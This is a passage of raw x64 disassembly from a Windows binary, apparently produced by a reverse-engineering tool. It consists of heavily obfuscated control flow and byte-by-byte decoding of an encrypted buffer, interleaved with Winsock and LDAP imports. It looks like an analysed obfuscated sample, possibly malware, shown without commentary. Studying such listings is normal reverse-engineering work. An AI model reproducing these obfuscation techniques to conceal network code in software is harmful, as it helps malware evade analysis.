lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f7d35
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401f7d12
mov rdi, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x1401f82fd
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401f82db
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1401f7a95
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401f7a72
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x1401f7a4f
lea rcx, [r10 + 0x5a]
cmp rdi, rcx
jb 0x1401f7cb0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f7c4f
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401f7c03
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401f7bd5
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401f78aa
mov rdi, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x1401f7bb3
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x1401f7b8d
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x1401f7b69
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x1401f7b43
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x1401f7b26
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x1401f7b12
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401f7af5
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1401f7ad8
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401f7ab7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f78aa
mov rdi, rcx
lea r10, [rcx + 0x40]
jmp 0x1401f78aa
movabs rdx, 0x50d5a7e94718dfde
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x1401f789d
movabs rdx, 0x46767ed1a987052a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401f7817
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x1401f77bc
movabs rdx, 0x67397bbfb3dbc310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f8186
lea rdx, [r9 + r15]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f81ae
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f814f
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_46
jmp 0x1401f81cd
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f8208
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f820b
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f80e5
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f826d
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401f82bf
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x380], bl
jmp 0x1401f82ce
movabs rdx, 0x6ff323301fce6ffa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x42
jb 0x1401f7bf6
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1401f8188
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x1401f8047
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x1401f7fd1
movabs rdx, 0xa93d94c83c5c06d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f7c24
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
mov ecx, 1
cmp rax, rcx
je 0x1401f8075
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x1401f7f3d
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x1401f7c70
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x1401f82bf
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1401f826d
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x1401f823b
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x1401f820b
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1401f8208
movabs rdx, 0x598f4f59b30b8cc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401f806e
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x1401f7ec4
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x1401f7ef3
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x1401f8176
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x1401f7e3d
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x1401f7cd1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f7e68
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401f82bf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f7e93
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401f8208
cmp rdi, rcx
jne 0x1401f7eac
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
jmp 0x1401f81cd
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f7edb
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f814f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f7f0a
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f81ae
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7cd1
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f8188
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f7f68
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x1401f8188
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f7f85
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x1401f7ef3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f7fa2
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x1401f7ec4
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401f7c70
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x1401f82bf
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f7fee
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x1401f80b2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8018
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f8099
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f7c24
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401f8208
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x380]
add bl, r8b
add bl, dl
jmp 0x1401f81df
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x380]
add bl, dl
add bl, r8b
jmp 0x1401f823b
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f82bf
movabs rdx, 0x35814f1d4578734e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x1401f823b
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x1401f820b
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x1401f8208
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
mov eax, 1
jmp 0x1401f81b6
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x1401f8176
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_33
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x1401f82d3
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f82ce
mov r8, rdx
movabs rcx, 0xa44d0fd2a77e7d76
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x3a
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x380], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x380], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f82bf
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x380]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401f77a9
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1401f77a4
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x1401f7794
lea rcx, [rbp + 0x17f7bf8]
jmp 0x1401f8330
lea rcx, [rbp + 0x1486952]
jmp 0x1401f8330
lea rcx, [rbp + 0x380]
xor edx, edx
call fcn.14025f760
test al, al
je 0x1401fd490
mov byte [rbp + 0xc70], 0x9b
mov byte [rbp + 0xc71], 0x59
mov r15d, 0x80
mov byte [rbp + 0xc72], r15b
mov byte [rbp + 0xc73], 0x5b
mov byte [rbp + 0xc74], 0xa0
mov byte [rbp + 0xc75], 0x45
mov byte [rbp + 0xc76], 0xbb
mov byte [rbp + 0xc77], 0x47
mov byte [rbp + 0xc78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc79], 0x41
mov byte [rbp + 0xc7a], 0xaf
mov byte [rbp + 0xc7b], 0x43
mov byte [rbp + 0xc7c], 0xde
mov byte [rbp + 0xc7d], Ordinal_79
mov byte [rbp + 0xc7e], 0xdd
mov byte [rbp + 0xc7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc80], 0xac
mov byte [rbp + 0xc81], Ordinal_79
mov byte [rbp + 0xc82], 0x86
mov byte [rbp + 0xc83], Ordinal_79
mov byte [rbp + 0xc84], 0x99
mov byte [rbp + 0xc85], 0x75
mov byte [rbp + 0xc86], 0x98
mov byte [rbp + 0xc87], 0x77
mov byte [rbp + 0xc88], __WSAFDIsSet
mov byte [rbp + 0xc89], WSAStartup
mov byte [rbp + 0xc8a], 0xef
mov byte [rbp + 0xc8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc8c], 0xe8
mov byte [rbp + 0xc8d], 0x7d
mov byte [rbp + 0xc8e], 0xe2
mov byte [rbp + 0xc8f], 0x7f
mov byte [rbp + 0xc90], 0x9c
mov byte [rbp + 0xc91], 0x79
mov byte [rbp + 0xc92], 0xbb
mov byte [rbp + 0xc93], 0x7b
mov byte [rbp + 0xc94], 0xf4
mov byte [rbp + 0xc95], 0x65
mov byte [rbp + 0xc96], 0xf6
mov byte [rbp + 0xc97], 0x67
mov byte [rbp + 0xc98], 0xac
mov byte [rbp + 0xc99], 0x61
mov byte [rbp + 0xc9a], 0x83
mov byte [rbp + 0xc9b], 0x63
mov byte [rbp + 0xc9c], 0xf0
mov byte [rbp + 0xc9d], WSAStartup
mov byte [rbp + 0xc9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xca0], Ordinal_143
mov byte [rbp + 0xca1], WSAGetLastError
mov byte [rbp + 0xca2], 0xa7
mov byte [rbp + 0xca3], WSAGetLastError
mov byte [rbp + 0xca4], 0x88
mov byte [rbp + 0xca5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xca6], 0xfe
mov byte [rbp + 0xca7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xca8], 0xfd
mov byte [rbp + 0xca9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcaa], r15b
mov byte [rbp + 0xcab], reloc.WS2_32.dll_send
mov byte [rbp + 0xcac], 0xfd
mov byte [rbp + 0xcad], Ordinal_30
mov byte [rbp + 0xcae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcaf], Ordinal_33
mov byte [rbp + 0xcb0], 0xfa
mov byte [rbp + 0xcb1], Ordinal_30
mov byte [rbp + 0xcb2], 0xf3
mov byte [rbp + 0xcb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xcb4], __WSAFDIsSet
mov byte [rbp + 0xcb5], 5
mov byte [rbp + 0xcb6], 6
mov byte [rbp + 0xcb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb8], xmm0
mov qword [rbp + 0xcc8], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r12d, Ordinal_41
xor eax, eax
mov r11d, eax
lea r13d, [rax + 1]
cmp r11, 0x60
jae 0x1401f8f83
movzx r9d, byte [rbp + r11 + 0xc70]
mov edx, r9d
cmp rdi, r11
ja 0x1401f8f7a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f85bf
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x1401f85f9
je 0x1401f8efb
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f8eac
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f8e4f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f8e2a
mov r8b, bl
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r10, r11
ja 0x1401f8f71
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x1401f862c
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x1401f8663
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f8de4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f8dc1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f8d9f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f8d7d
mov bl, r8b
mov r8d, Ordinal_30
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x1401f8a52
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401f8a30
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f8a1c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f89fa
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401f89d8
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401f89b6
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f8990
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401f8f4f
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f8f2d
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401f878e
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401f88ca
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401f889c
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f8676
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f8888
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401f8862
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f8840
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f881a
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401f87f4
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401f87d1
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401f87b0
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x1401f8676
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401f8669
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x1401f8b79
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x1401f8e25
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f8e47
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f8e9d
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401f8d44
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f8ec8
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401f8a8e
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xc70], bl
jmp 0x1401f8f25
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x1401f8d1d
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401f8b54
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r15
jae 0x1401f8cf2
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x1401f8c09
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x1401f88bd
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f8e01
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401f8ec8
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401f8d44
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401f8e9d
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401f8e47
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f8dd0
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401f8e01
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401f8a78
lea rdx, [r11 + rsi]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f88eb
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f8aa5
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r8d
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f8f16
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f8acf
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x1401f8d42
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8afa
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401f8e9a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f8b25
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401f8e70
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401f88eb
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401f8e01
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f8b80
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
add bl, dl
jmp 0x1401f8e01
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8baf
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f8e25
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f8bda
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x1401f8e9d
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f8927
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401f8d44
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f8c26
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401f8a8e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f8c50
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x1401f8881
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f8c7b
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401f8e9a
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f8c98
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401f8e5e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f8cc3
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r15b
jmp 0x1401f8e47
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f895e
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401f8e25
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xc70]
